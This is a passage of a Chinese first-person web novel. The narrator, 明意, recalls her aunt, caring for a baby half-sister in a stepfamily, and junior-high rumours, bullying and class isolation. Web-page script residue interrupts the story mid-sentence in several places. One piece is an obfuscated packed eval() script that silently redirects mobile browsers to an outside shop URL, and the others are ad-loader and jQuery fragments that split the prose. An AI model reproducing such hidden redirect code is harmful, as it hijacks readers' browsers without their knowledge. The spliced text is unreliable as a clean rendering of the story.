之后,他还把这个事分享给他的妈妈,也就是我大姨。我大姨不仅没训斥他,也跟着他嘿嘿笑。他们一起调笑我,说我居然还喝过尿。 再后来,我妈知道了这事,还骂他们娘两真损。 那时候,我在学校里还比较喜欢参加一些诗朗诵的比赛。我姥姥知道之后,会在家里辅导我。 我大姨上学的时候,成绩很差。她留级一年,跟我妈成了同学。 我大姨看着我姥指导我朗诵,便阴阳怪气地说:“瞅瞅那个嘚瑟劲,跟她妈小时候一样,就喜欢出风头。” 有一次我姥要去外地参加她娘家亲戚的婚礼,没带上我,就留我大姨和我在家里。我姥对我大姨的要求是,给我一天三顿做好饭就行了。 我姥走的第一天,我大姨非常温柔地低下头问我:“你喜欢吃什么?你现在最想吃什么?” 我回答:“我想吃韭菜盒子。” 我姥姥是不太会做面食的,这些面食,我大姨很擅长,而且做得非常好吃。 我大姨点了点头,很爽快地答应了我:“好,那我今晚就给你做韭菜盒子。” 我没想到,我大姨直接做了一整盆的韭菜盒子端了上来。 那之后,我一连三天的早午晚餐,就都是韭菜盒子。我大姨当天晚上就跑出去打麻将了,一连三天都不回家。 我饿了,就自己把韭菜盒子热一热,将就着吃。 所以,直到我上初中之前,我对我大姨的印象都不算好。 但是我妈坐月子的那段时间,整个家里,只有我大姨会亲近我。 我的继奶奶、继爷爷,甚至是继兄、继姐等等一大家子的人,都和我没有关系。也就只有我大姨,是我的亲大姨。她做了好吃的,会偷偷留一点,拿给我吃。 因为一大家子人上桌的时候,我是不敢吃那么多的。 我妈当时坐月子,需要吃很多鸡蛋。农村的邻里街坊,甚至是亲戚朋友,都会给我们家送土鸡蛋。 土鸡蛋相对而言要贵一点,我继奶奶把那些鸡蛋当成宝贝一样,来来回回地数。 有一天刚吃过早饭,我大姨还在厨房收拾碗筷,我继奶奶就当着她的面开始数鸡蛋,然后一直念叨着,这鸡蛋数不对,都被谁吃了啊? 我大姨当时挎着小脸,等我继奶奶走了之后,她才说:“这老太太,弄点鸡蛋都舍不得给你妈吃,还要一个一个数。” 我妈出月子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13638998|141850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,我大姨回自己家了。 我很长一段时间都很想念我大姨,我大姨在家里的时候,我每天都吃得很饱、吃得很好。 我大姨在的时候,会帮我妈照看一下孩子。 我大姨走了,我妈就只能一个人照顾孩子。 一个人其实是没办法兼顾得好那么小的孩子的。 尤其是我妈想要上厕所的时候,就格外不方便。 我继父装修的新房子,虽然在室内有冲水马桶。但是因为农村的地下排水系统不好,只能上小便,大便要去外面的旱厕。 小孩子不是时时刻刻都能睡着的,我妈要上厕所的时候,连帮她看一眼孩子的人都没有。 我继奶奶是一下都不肯帮我妈的,哪怕是我妈上厕所的时候,她都不会帮着抱一下。 我继父白天要去煤矿,也不会待在家里。 而当时我在学校住校,除了寒暑假,只有周末的时间回去。 每到周末,我回到家,我妈都会非常高兴。 她会直接把孩子塞到我怀里,让我帮她看一会儿。 我妹妹有的时候早晨六点就醒了,刚睡醒就要哭。我妈还要做一家人的早饭,就把我妹妹塞到我被窝里,让我帮忙哄着。 我当时也没睡醒,睡眼惺忪地抱着我妹妹,摇摇晃晃地哄着她。 很多时候,一整个周末,我都没有自己的时间。我甚至没有时间写作业。 我妈当时跟我说:“你学习好,在学校认真听课就好了,作业写不写都行。” 尽管如此,我也不敢怠慢作业,我这个人脸皮特别薄,生怕老师训我。 所以,每周日下午返校之后,我都会坐在教室里,急匆匆补作业。 我像我妹妹这么大的时候,是我太奶奶帮忙照顾的。等我再大一点,是我姥姥帮忙照顾我。所以我妈总觉得,我还是挺容易看顾,就长这么大了。 到她亲自照顾我妹妹的时候,她就总是叫苦不迭。 她还说两个孩子性格不一样,我小时候不爱动,把我放在一个角落里,给我一个玩具,我自己能玩一整天。 我妹妹就不行,她好动,身边也不能离人。她睡醒睁开眼睛,如果身边没有人,她就会哭得背过气去,整张脸哭得通红。 我妹妹,相当于是我妈一个人,手把手带大的。当然,我在寒暑假和周末的时候,也会帮她带。 我现在有的时候,会恐惧生孩子。大概就是因为那个时候,帮我妈照顾我妹妹的缘故。 那段时间,我实在是太累了。 尤其是还不会走的小孩,你需要寸步不离地陪着她。一旦脱离你的视线,她翻个身都能摔到地上。 说到这里,我还摔过我妹妹一次。 当时她才三个多月,刚会翻身。 我妈在厨房给一大家子做午饭,把孩子丢给我照看。 我眼瞧着这小孩老老实实的,不哭不闹的,就把她放在了床上,然后打开了电视,看一会儿快乐大本营。 就那么一转眼的功夫,这孩子翻个身就掉在了地上。 我妹妹当时哇哇大哭,我妈惊得也赶紧跑回来。 她知道我把孩子摔了,倒是也没责怪我,但是她抱着我妹妹,也跟着心疼地哭了。 从那天之后,我也不敢懈怠。只要是我帮我妈带孩子,我就不敢让这孩子离开我的视线。 17. 第017章 造谣 现在有的时候想想初中时光,总觉得那段日子,过得真慢啊。 我每次放假回家照看我妹妹,我都在想,她到底什么时候才可以快快长大。 刚会爬的时候,你觉得她会走就好了,就不用抱着了。 会走路的时候,你就觉得这孩子上幼儿园就好了,就不用一直照看了。 我那个时候总会心疼我妈,我觉得连我都这样辛苦,她一定更辛苦。 我甚至也牢牢记住了我妈说过的话,她说,她是为了我才要这个孩子的。 可人不能总是这么自我PUA。 一个母亲,在决定生下孩子的那一刻起,就应该做好要抚养孩子长大的准备。 这种责任和包袱,不该转嫁到除父母以外的人身上。 小的时候,我妈经常会因为一些不起眼的小事责骂我。 印象最深的一次,是她给我二十块钱,让我去超市给我妹妹买浴盆。 我对浴盆的概念,还停留在小时候。我就记得我小时候洗澡的时候,我妈和我姥姥会用一个圆形的大铝盆,给我洗澡。 我姥姥家那个时候经济条件很差,家里根本没有淋浴设施,一周才会去澡堂洗一次。 冬天的时候一周洗一次澡还好,一到了夏天,身上出汗,就很不舒服。 所以夏天,我姥爷会把之前灶台上废弃的铁锅拿到院子里,早上倒一锅冷水,放在太阳底下晒。 到了下午的时候,冷水晒热了,就让我躺在那个大铁锅里洗澡。 因为固有的认知,我也以为,我妈让我买的浴盆,就是那种圆形的大塑料盆。 跟着我一起去超市买浴盆的,还有我继叔叔家的一个妹妹。 当时,她妈妈也给她生了一个弟弟,她对儿童洗浴的这些设施还有些了解。 她看到我想买那个圆形浴盆的时候,还劝我,她说,你妈妈想要的,是不是那种长方形的,比较结实一点的塑料盆。 我看了她选的,那种浴盆要四十多,而我妈只给我二十块钱。 我说不应该吧,再说,我手里的钱也不够。 这个妹妹跟我说:“我手里刚好有二十多,我可以借给你。” 当时,我也没有电话,没办法回去跟我妈沟通要不要借她这二十多块钱。而且,我也在想,如果我自作主张借了钱,我妈会不会事后反悔,再责骂我。 我寻思,我小时候用的都是这种圆形的浴盆,我妈妈想用的,估计也是这种。 所以,我就自作主张,花了二十买了那个圆的。 买回家之后,我妈第一时间责怪我,她说这样的浴盆怎么能给孩子洗澡呢,她要的根本不是这种。 我妈是那种性子非常急的人,我平时,如果洗碗的时候摔碎了一个碗,她都会责骂不休。 这一次买错了浴盆,我也遭遇了同样的对待。 正好我继叔叔家的妹妹也提到,她说她当时也想借我钱买那个贵的,但是我没用。 我妈听到这个,就更生气了,她反过来说我:“人家都要借你钱买那个,你不买。我要你到底有什么用,生个狗都比你强。” 之后,我妈抱着孩子,带着那个大浴盆,拿去超市换。 我们镇上只有那一个大型超市,和普通的小卖部还有其他小超市不一样,那个超市卖出去的东西,很少可以退换的。 所以拿着这个盆去退换的过程中,我妈也跟那个营业员恶狠狠地指责我,最后,人家给她换了那个长发形的浴盆,让她补了差价。 我上初中的时候,就是井底之蛙,没见过任何世面。 我从记事起,就在山村里,后来辗转跟着我妈去了第二任继父的家里,也是一个比我姥姥家还贫瘠的山村。 我还记得,第一次去我继父家所属的那个镇上时,我都不敢乱走,生怕走丢。 其实现在想想,那个镇就那么两条街,来来回回走一圈,都不满三十分钟。 可那个时候的我,没逛过那么大的超市,不懂世面上的物价,更不知道现在小孩子用的浴盆,都是什么新奇的东西。 有的时候,父母认为你错了,你就不应该还嘴。我从小到大,一共被我妈打过两次。 一次是她把我姥姥家的剪子弄丢了,就要怪到我头上。我根本没碰过那个剪子,我凭什么要承认?我仰起头,掐着腰,就要反驳她,结果被我妈扇了一巴掌。 第二次,是在我继父家。我妈嫌弃我收拾东西不利索,说我把书本乱放,然后当着我继叔叔家大女儿的面,又扇了我一巴掌。 这两次打,我妈可能都忘了。 有的时候她出门跟人闲聊,她都会说,我家老大没挨过打,小的淘气,我倒是经常打她。 但是,我这个人,记忆力出奇得好,这些她认为微不足道的小事,却一直被我记在心里。 很多时候,面对这种指责,我不是不想还口。而是我知道,在固执的母亲面前,我还嘴不仅毫无意义,还会引来更多的骂声。 那个时候,我小心翼翼、战战兢兢、如履薄冰…… 我生怕做错一件事,哪怕我继父那一大家子没当面责怪我,我妈也会责怪我。 但是凭良心讲,我继父在那个时候,对我还是很好的。 我小升初办转学手续的时候,是我继父带着我去的。 我初中第一天入学的时候,也是我继父跟我老师沟通,问了我班级的情况,帮我拿行李,去看了我宿舍的环境,还跟我班主任说了一些情况,让我班主任好好照顾我。 入学第一天,是没有课程的。 家长送孩子到学校之后,我那些同学就跟撒了欢一样,往镇上跑。 我根本不熟悉镇上的店铺,不知道镇上有几家书店,几家文具用品店,也不知道什么地方卖什么东西。 我不敢走出教室门,我继父把我送到学校之后,我就一个人默默地坐在座位上,百无聊赖。 后来实在是不知道做什么,我就拿出学校刚发的书本,一页一页地翻看。 后来这个事,还被我班主任夸了。 她在全班同学面前说:“开学第一天,大家都出去玩了,我们只有明意,一个人坐在教室里,看了一下午的书。” 我没有告诉任何人,我其实骨子里也不是那么爱学习的孩子,我只是除了看书,并不知道还可以做什么。 我那个时候,胆子特别小,也特别怂。 我刚上初中的时候,我们学校还是平房,还没有盖楼。 我上小学的时候,小学校园也是平房。有的时候在电视上,看到其他城里的孩子,学校都是楼房,我真的好羡慕。 后来,我们镇上的首富,因为要占用我们校园一部分面积建小区,所以给我们学校投资,盖了一栋教学楼,还更换了学校所有陈旧的教学设备。 当我真的走进教学楼上学的时候,我又开始怀念以前平房的教室。 平房的教室宽敞,隔音效果也很好。班级和班级之间,距离没有那么近,也不那么容易发生冲突。 我们学校的学生,是出了名的喜欢打架。 很多男同学,因为一丁点小事,就会聚众打架。 学校的厕所,是一排旱厕。 男厕所,是聚众斗殴的聚集地。 而同样的,班级里的个别女同学,也会崇拜那些打架打得比较厉害的男同学。 现在有种说法,管这种人叫校霸。学校里哪个年级,有哪个男同学喜欢打架,在整个学校那都是出了名的。 在众多出名的校霸中,也有两个人。一个是我的继兄,一个算是我的继表兄。 我继兄比我小一个年级,他虽然比我大一岁,但是在小学的时候,留过两级。 所以我上初二的时候,他上初一。 其实学校里的打架事件,我是不参与的。一来,很少有女同学参与打架,二来,打架的那些同学也很少会招惹成绩好的同学。 我在初中,算是成绩比较好的同学。 而且因为小升初的入学成绩,我在初一和初二阶段,是班里的女班长。 虽然有几个女同学不太服我管,也总是没事找事,但是听说我继表兄和我继兄都能打架,也很少跟我正面起冲突。 我记得有一次,下午上自习,班级里安安静静的,有位于同学突然在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后排跟什么人笑了起来。 我坐在前排,回头跟她说了一句:“上自习呢,不许笑。” 这位于同学当即就拍了桌子,一副小太妹的架势:“怎么,你哥是某某,你就了不起了吗?” 我也来了气性,我说:“跟这个就有关系吗?上自习呢,大家都没说话,你打扰到别人了。” 她冷嗤了一声:“装什么比,有本事你告老师啊。”之后,她无视我的警告,继续在后面跟其他人嘻嘻哈哈。 那节自习没结束,我们班主任就回来了。 我不习惯背后告状,所以,当我班主任走进教室的第一秒,我就站了起来,把这个事转述给了我班主任。 我班主任当时倒是给足了我这个班长的面子,狠狠训了她两句,把她叫到了办公室。 回来的时候,她跑回来跟我道歉,还说是老师要求的。 她笑嘻嘻地问我:“你知道老师跟我说什么了吗?” 我问:“说了什么?” 她的表情美滋滋的:“没说我什么,就问我,你对明意这个人,有什么看法?然后我就回答老师,我说明意这个人,挺装X的。然后老师就笑了,老师说,就是因为你们之间学习成绩差距太大,才会让你有这种误解。” 我不知道为什么,从那天开始,我就很不舒服。 班长这个费力不讨好的活儿,我也不太想当了。 当然,这位于同学花钱也有点大手大脚,她经常跟我借钱,也不多,一块两块的。 然后借完钱,就不还。 我还记得临到她退学那天,我们班和其他班的几个女同学,直接把她拦在学校门口,让她还钱。 我那个时候,脑子也秀逗了。有的时候她哭哭啼啼跟我说没钱买卫生巾的时候,就跟我借两块的时候,我不知道为什么就把钱给她了。明明她之前欠我的,还没还清。 因为这个事,我妈还狠狠踹了我一脚,说我是个窝囊废。 我们当时放周假,这个女同学经常在周一的时候,就把钱花完了。然后剩下的四天,靠到处借钱为生。 我们学校住宿生都有食堂,伙食费是提前交的,所以不用担心花完钱的同学会饿着。 于同学甚至从不会提前买好卫生巾,每次生理期,不是借钱去买,就是找每个女同学要一个,然后顽强度过这段日子。 可能因为都是女生,哪怕是有过冲突,但是一想到她生理期的时候,连卫生巾都没得用,我还是鬼使神差的把钱借了出去。甚至有的时候,她说突然来生理期,跟我借一片的时候,我也会毫无犹豫地给她。 即便,我们其他同学都知道,她一到生理期就到处要卫生巾。 我继兄和我继表兄是校霸这事,看似像我背后一道无形的保护伞,但是对于个别同学来说,这也是一件让她们很嫉恨的事。 我在初中,前期的宿舍,跟其他班级挤在一起。 我在二班,我住的宿舍在四班。 于同学经常到我们寝室,跟四班的一个女生聊天。因为这位女生的表哥,也是初三的一个校霸。 我不认识这位校霸,她们两个有时候聚在一起聊天,我也不知道聊得什么。 但是那一天,于同学离开我们寝室之后。那个四班的女室友跟我说:“你知道于x刚才跟我说什么吗?” 我满脸疑惑,问她:“说什么了?” 她说:“于x告诉我,私下传话告状这事,就是你干的。” 我当时真的很懵,我问她:“传什么话,告什么状?” 她说就是关于她哥的事。 我当时就火了,我说:“我压根就不认识你哥。” 而且我从小就近视,别说不知道她哥是谁,她哥长什么样,离得远我都没看清过。 大概是在家里窝囊太久了,在班里我也很少闹腾,所有人看到我,都觉得我老老实实的,没什么杀伤力,所以觉得于x把锅扣到我脑袋上,也觉得无所谓。 但是我知道,我不能任由于x在背后这么肆意造谣我。 我觉得有仇,当场就该报了。 所以,我直接冲到了于x的宿舍…… 18. 第018章 孤立 从那天开始,我就知道。有些看起来很拽,平时感觉跟谁都要打一架的人,其实骨子里就是纸老虎。 当你真的恼了,真的跟她正面硬刚的时候,她就突然怂了。 后来,四班的那个女室友跟我说,她觉得传话告状的就是于x,但是在被质问的时候,于x不想承认。正好我当时在宿舍里闷头吃零食,她就直接顺手把锅扣我脑袋上。 其实到底是谁传话谁告状,到底是因为什么事件,我至今都不知道。在别人说这件事的时候,我甚至没有想要去了解事件原委的意图。 毕竟,这话题里的当事人,我都不认识,我也没必要去了解。 但是你不能随意往我脑袋上扣屎盆子,不能一直看我老实,就觉得我好欺负。 我那天有理有据,一个一个问题问于x。 我问她,你说的事是什么我知道吗?你说的这个人,我认识吗?既然我不认识,我也不知道事件始末,你莫名其妙把锅扣到我头上,是觉得我好欺负吗? 她还想狡辩,说这一切都是误会,说当时她在寝室里跟四班女生聊天的时候,我也在寝室,所以才怀疑我。 我说你放屁,你平时认识的那些人,我一个都不认识。你平时在外面遇到什么事,我都不关心。但是你再造谣我一次,我一定跟你硬刚到底。 于x当时被我的气势吓到了,我上学期间一直不吭声不吭气的,很少有这么气愤、这么情绪外露的时候。 她赶紧跟我道歉,说以后不会了。 后来,这位于同学退学了。在我们学校,当时的说法就是不想念了。 因为还处于九年义务教育阶段,老师一般会跟家长沟通,尽量让孩子念完初中。 但如果家长态度比较强硬,或者是孩子表达出强烈的不想念书的欲望时,学校也不会强制性留她。 说起这个,我们班当时还有一个女同学比较惋惜。她学习成绩不错,虽说不是在班级前五,但是前八肯定是有了。而且为人老实,长得也很乖巧,也不喜欢惹事。 但是念到中途,她妈妈就是不许她上学了,还在我们镇上的大超市给她找好了工作,一个月2400。 她还有个弟弟,她妈妈说供不起两个孩子上学。 我们班主任苦口婆心上门好几次要去劝她妈妈,可惜这位妈妈非常固执,说什么都不肯让她继续读书。 班主任最后无奈,开班会跟我们讲起这件事的时候,眼眶都红了。 至于于x,她是自己表达出强烈的不想读书的念头的。我后来还听其他女同学说,她家里条件也不算差。 这个不算差,指的是跟我们班上大部分农村家庭比,不算差。她父母好像在外打工,每个月都给她寄钱。 我初中阶段,每周有三十块钱的零花钱。这里面要扣除来回回家八块钱的车费,剩下的24块钱,我可以自由支配。 这钱大部分就是夏天的时候去学校小卖部买根雪糕,买瓶水。或者有的时候晚自习过了特别饿,去小卖部买个大碗面。 那个时候觉得大碗面真香啊,饿的时候我连泡面的汤都能喝完。 所以,当我听王同学说于x每个月有四位数的生活费时,我还是挺惊讶的。 我主要惊讶的是,她把钱挥霍得太快了。她的生活费比我们班级其他同学都多,却到处借钱不还。 不过,再后来,我也没了这位于同学的消息。 可是,曾经跟她关系比较好的一位刘姓女同学,还有栾姓女同学,还继续留在班里。 说实话,我和其他人,再没有过正面冲突。 但有些时候,你不惹事,不代表事不找你。 我有个继表兄,就是在学校是校霸的那个。她姐姐也是我们初中毕业的。等她弟弟上初中的时候,她就跟弟弟说,你们学校的学生是最喜欢打架的,学校氛围很乱。要是有人欺负你,你千万别惯着,有事你就找我。 当时,镇上只有这么一个初中,我也只能去那里上学。 我尤记得有一年,我亲爸把我接到F城。我去见了太奶奶和姑奶奶。 我姑奶奶在F城的市区开了一家饭店,有相熟的人来饭店吃饭,看到我,就问我在哪上学,成绩怎么样。 知道我在农村上学之后,他蹙了蹙眉,反问我姑奶奶:“他爸在市里了,都没想过把孩子接到市里上学?那农村的学校怎么能跟市里的比?教学资源也不一样啊,他爸是怎么想的啊?” 我姑奶奶默不作声,最后也跟着嘟囔了一句:“我也不知道她爸是怎么想的。” 我亲爸是不可能给我换学校的,他连抚养费都不愿意给。 我想离开大山,就只能等我自己长大了,自己走出去。 说回我上初中时期的第二次冲突事件。 大约是上初二的时候,班里的男班长王某某,在自习课上突然说:“要不然就把明意的班长下了,给戴某,明意你同意吗?” 话题转向我之后,我先是愣了一下,随即点了点头,我说:“那就给戴x,反正我也不想做班长。” 王某某说好,那就这么定了。 其实事后我才品出来,是我们班主任想要下了我的班长职位,但是又不好意思当我面说,就让王某某搞了这么一出。 第二天,班主任特意在早自习把我叫出去,问我突然被下了班长,心里会不会有什么不舒服,如果有任何不舒服,可以告诉她。 我班主任的爱人是我们初中的教导主任,班主任说,是她爱人回家之后,跟她分析,觉得这件事,还是跟我私下沟通一下,安抚一下。 我很坦然地说:“没什么不舒服,我其实特别开心,这个班长,我早就不想做了。” 我当时只是空挂了一个女班长职位,什么事都不管。因为所有事,都是男班长王某某在管。 王某某就是班主任在班里的话事人,平时要给班主任买点什么礼物,都要开班会,让我们平摊这个钱。 班里没人敢不听他的话。 之前他看不上的男同学,已经被他霸凌走了。 当然,他不欺负女同学,也从未欺负过我。 他在班上还培养了一批小弟,他也曾对自己的小弟掏心掏肺,但是人家对他只是表面顺从、表面客气。后来一毕业,就转头背刺他的,也有不少。 我的班长位置掉了之后,更是一身轻松。 我当时也有自己比较烧钱的爱好,比如喜欢看言情小说。 当时我们镇上的书店,卖的几种类型的杂志,我都买过。 只要省下零花钱,就可以偷偷去买。 我买过《意林》《读者》《青年文摘》,当然,还买过《男生女生》和《花火》。 我们班主任还是挺支持我们看《意林》《读者》《青年文摘》这一类的杂志的。但如果看的是《男生女生》这种,就会给我们没收。 不让看,我就偷偷看。 这大概就是我初中时期,做的最叛逆的事了。 但是,平静的学习生活,总是会被莫名其妙的事情打破。 我在班上有两个非常要好的同学,一个姓杨,一个姓黄。 她们两个都是走读生,不在学校住宿。所以,有时候上下学,她们在路上看到了什么,我也不清楚。 我是有一天下课,跟着她们两个一起去上厕所的时候,偶然听到黄同学说了一句:“咱们班的那个栾某,跟着五班的一个男同学,去了顺祥。” 五班的那个男同学,是栾同学的男朋友。这个事,大家都知道,包括学校的老师也都知道。 顺祥是我们镇上当时最好的酒店。顺祥有美食,有住宿,也有洗浴。去顺祥不一定是住宿,也有可能是吃饭。因为顺祥的餐厅,在我们镇上也很有名。 所以,我当时听了一嘴,也没当回事。 可这之后,栾某突然有一天,在上自习课的时候,就趴在桌子上哭了。 我们班里的同学,都是我们那个镇上下属各个村庄的小学升上来的。比如栾某和后来的女班长戴某,都是东甸村小学的同学。 而我不一样,我是转学过来的,我在班里,没有小学同学。 她们同是小学同学,所以心格外的齐。 一下课,都一窝蜂过去安慰栾某。 我当时看了一眼,也没好奇是什么事,我就从书桌里拿出我刚买的《男生女生》,夹在教科书里,偷偷看。 大概是我太不好奇了,所以全班同学开始孤立我们三个的时候,我都后知后觉。 孤立我们三个的,不仅是女同学,还有我后座的男同学刘某某。 有一次,我跟邻座说话的时候,不小心倚在后座的桌子上,刘某某就故意把桌子往后拉,差点让我摔倒。 这个时候,跟戴某比较好的欣同学,突然在教室里鼓掌,然后大笑出声:“哇,刘某某,我真是太崇拜你了,你太厉害了。” 我就是这个时候,才察觉到她们对我的恶意。 我没办法,只好去问我的好朋友黄x,我问她:“所以栾某的事,到底是什么事?他们为什么孤立我们三个?” 杨某委屈得红了眼,黄某也叹了口气,最后嘟囔着:“我也不知道怎么回事,都赖我身上。” 后来,他们被老师勒令不许搞小团体,也不再孤立我之后,我才弄清楚事情原委。 是栾某觉得黄某到处造谣她和她男朋友去顺祥这件事。 去顺祥,意味着去开房。 而谣言的源头,是五班的一个男生。我的好朋友黄某吃完瓜,跟人讨论的时候,被栾某听到了。 但是当时,处于被孤立中心的我,完全不清楚发生了什么。 传话的人里,也没有我。但是我是我们三人堆里,学习最好的那一个。 再加上,有的时候我们班主任喜欢鞭策戴x,就在课堂上故意夸我英语作文写得好,还故意说:“有人在进步,有人在退步啊。” 然后下了课,戴某就趴在桌子上哭,引来一大波小伙伴的安慰。 最无语的是这个时候,那个和戴x关系最好的女同学欣x,还会故意瞪我。 这个欣x,是我们语文老师的侄女。我是班上的英语课代表,每次课前去办公室拿录音机的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时候,都听她夸自己侄女。 说欣x虽然学习不好,但是在家里特别能做家务,说她妈不在家的时候,她一个人把家里收拾得干干净净。 我甚至后来还察觉到,我们语文老师因为偏爱侄女欣x,对我都有恶意。 我身高不高,不足一米六。 这个身高在东北,是真的很矮。 我从小就是班上最矮的。 我有一天站在校门口,跟两个一米八的男同学说了两句话。正好我们语文老师走过,就对我说:“哎呀,隔老远以为谁呢,原来是明意啊。你以后不要站在他们男生堆里,跟掉坑里一样,都看不见你了。” 我这位语文老师,没上过高中。是初中毕业之后,上的五年制师范学校。 当然,不得不承认,她虽然学历低,但是课讲得不错,不管是教作文,还是教我们做阅读理解,都非常有条理,有逻辑。 靠着她教我们的那一套公式化答题模式,我到了高中,甚至高考时都受用。 但是,这依然抵不住她那天对我恶意的注视。 在此之前,我很难想象,一个老师会这么刻薄。 说回栾某这件事。 他们孤立了我很久,甚至长达快一个月的时候。栾某还是每天都很伤心,每天就在教室里哭哭啼啼。 有一天早自习她又哭了,又一堆人去哄她。 刚好那天我值日,欣x就恶狠狠地瞪着我。她甚至还跟其他小团体都商量好了,等老师来了,她就去告老师。 那天,我们班主任刚进教室,欣x就站了起来,说有事要告诉老师。 出门前,她还深深看了我一眼。 我完全没在乎,我甚至瞟了她一眼,我就闷头继续看书了。 我们班主任知道这件事之后,没说什么,也没第一时间找我,反而让欣x继续去上课。 欣x潜意识里觉得,这件事她告诉老师之后,老师会第一时间处置我。 但是看我还好好的上体育课,还和黄同学杨同学在自由活动的时候,坐在一起望天,她就更不高兴了。 所以,她们来了第二次告状,让身为女班长的戴x,再去找老师说一次。 这一次,我们班主任没办法,只好在楼上,喊楼下自由活动的我,去办公室一趟。 我真的很无语,我至今想起这件事,我都觉得无语。 我从未参与过栾某的事,我不能听黄某说过一嘴,我就有罪吧? 再者,我不知道黄某在外面有没有传过这个事,我甚至没问过。 但是我知道的是,黄某对我很好。我不可能因为这件事,跟她脱离朋友关系。 我在初中的时候,因为住校,也没什么人照看我。 偏我自己体质还弱,也没什么抵抗力免疫力,经常感冒发烧。 有一次,我发烧了,我给我妈打电话,我妈让我继父开车载我去诊所打吊针。 当时发烧发到四十度,我继父送我去诊所,挂上吊瓶就先回家了。 诊所的阿姨见状,便小声来问我:“难道不是你亲爸吗?孩子烧成这样,交完钱就这么走了。” 我说:“虽然不是我亲爸,但是他对我很好。今晚可能有事要忙吧。” 那阿姨看着我,心生怜悯,然后又是给我热暖宝宝,又是给我倒热水。 大冬天的夜晚,看我穿得少,怕我在路上冻着,还亲自送我回了学校。 除了这位阿姨,就只有黄某这么照顾过我。 也是冬天,我也是出去打吊针。有时候怕耽误上课,就拎着吊瓶回教室打。 黄某帮我拎着吊瓶,外面太冷了,路上那针管都快冻上了。 黄某干脆脱下外套,包住我的手,自己穿着毛衣在寒风中走了一段。 我是特别容易感动的人,我那天差点哭了。 所以,无论发生什么,我都不可能因为别人孤立我们,就转而去讨好其他的同学。 何况,我小学还被老师带头孤立过。如今被孤立,我一点都不害怕。 我甚至觉得,无论发生什么,还有黄某和杨某在我身边。 黄某其实也觉得委屈,她甚至跑去跟栾某说,这件事不是我传的,你去找五班的王某传,是他说的。 王某传在我们学校里还算长得帅的,很多女生都喜欢他。 栾某不知道为什么,到最后也没去针对王某传,她把这一切的罪过都归咎到黄某身上。 因为黄某学习成绩不好,所以她们几个轮流去告老师的时候,就非说这个事是我传的。 我被叫到老师办公室的时候,毫无畏惧。 不过欣x和戴x,看到我终于被叫到办公室了,倒是笑得直拍手。 我甚至还隐约听到欣x说:“这回有她受的了。” 我真的是无语。 我又没做什么,我甚至觉得,如果老师也不讲理的话,今天我连老师都敢怼。 所以,当我班主任问我:“她们说你给栾某气哭了,有这事吗?” 我回答:“我平时跟栾某都不说话,她哭,也是我我的错吗?” 19. 第019章 包子 老师顿了顿,又问我:“那栾某的事,你知道吗?” 我甚至都有点无语了:“我当然不知道,她们为什么孤立我,我都不知道。” 老师沉默了一会儿,点了点头说:“你先回去吧。” 其实那一刻,我也特别想开口告状,诉说我的委屈。我当时一头雾水,莫名其妙被人孤立,现在又莫名其妙被人告老师,我甚至觉得欣x凭什么无凭无据,就认定这件事是我的错? 但是最终,我什么都没说,转头走了。 我相信,我在班级里是什么样的人,老师有眼睛会看到。 那些乌七八糟的事,我从来都不曾参与过。 我每天,除了学习,就是偷摸看言情小说。周末回家,我还要帮我妈带孩子。 我怎么可能有时间,去参与她们在校外的那些事? 憋了一肚子气,我继续去楼下自由活动了。 杨某和黄某也跑来问我老师说了什么,我说老师问了两个问题,我回答不知道,跟我无关,然后老师就放我走了。 但是这件事,还没完。 下午没课的时候,上自习,老师把我和戴x,叫到了办公室。 班主任说:“这件事,我深入了解过了。我觉得现在最主要的问题,是我们班被分成了两个帮派,偏爱栾某一帮,不爱栾某一帮的,你们说对吗?” 我当时先回答的这个问题,我说:“提不上什么爱不爱的,就是普通同学,栾某发生了什么,我不知道,我也不想知道,她的事,跟我没关系。老师不能随意把我定义到不爱她的那一帮。” 戴x站在一边不说话,也没看我。 班主任点了点头,她继续问:“好,那我现在问你们两个问题。如果让你们选择帮派,现在就选,你们是选择喜欢栾某一帮的,还是不喜欢栾某的那一帮的?” 戴x没吭声,我先回答了,我说我不选,我说我没有不喜欢栾某,也谈不上喜欢栾某。 这个问题又不是只能选A或B,总得允许有人选择中间那面。 这话,就是我的真实想法。 我谈不上喜欢栾某,只有一个原因。就是当初我和她一个宿舍的时候,她往宿舍里带了一只狗。晚上给小狗狗喂火腿肠,还一直抱抱亲亲。 我当时很羡慕,我也喜欢幼崽小狗,真的很可爱。 我害怕大狗,但是特别小的幼崽,我也想上去摸一摸。但是我忍住了,毕竟是别人的狗,我不好意思张口去问可不可以碰。 我长大了才明白,我这种性格叫社恐。 可是就隔了一个周末,我问栾某你那个小狗狗带回家养了吗? 她轻描淡写地说了一句:“上天了,死了。” 我愣在那里,莫名其妙觉得不舒服。 因为这个,所以她在早自习哭的时候,我没有上前关心,也不想去关心。 再者,她哭的时候,有那么多人关心,也不缺我一个。 我确实没有不喜欢栾某,但是也谈不上喜欢。 我表达的,就是我当下最真实的想法。 我们班主任抬头看向了戴x,问她:“那你呢,你也选一个。” 戴x说:“我选择,喜欢栾某的那一帮。” 班主任突然火了,站起来推了她一下:“你选错了,知道吗?” 戴x是我们班级的第一名,学习成绩其实一直都比我好,也一直考班里的第一名。 她挺要强的,有时候老师夸我没夸她,她是真的会流眼泪,也会努力奋进。 所以那一次,老师夸我,戴x哭了,欣x故意瞪我的时候,我是真的无语且莫名其妙。 我每次考试,跟她都会差了几名,为什么就非要跟我比不可? 我学习本来也不如她,而且在学习成绩上,在整个初中阶段,我就没有胜过她的时候。 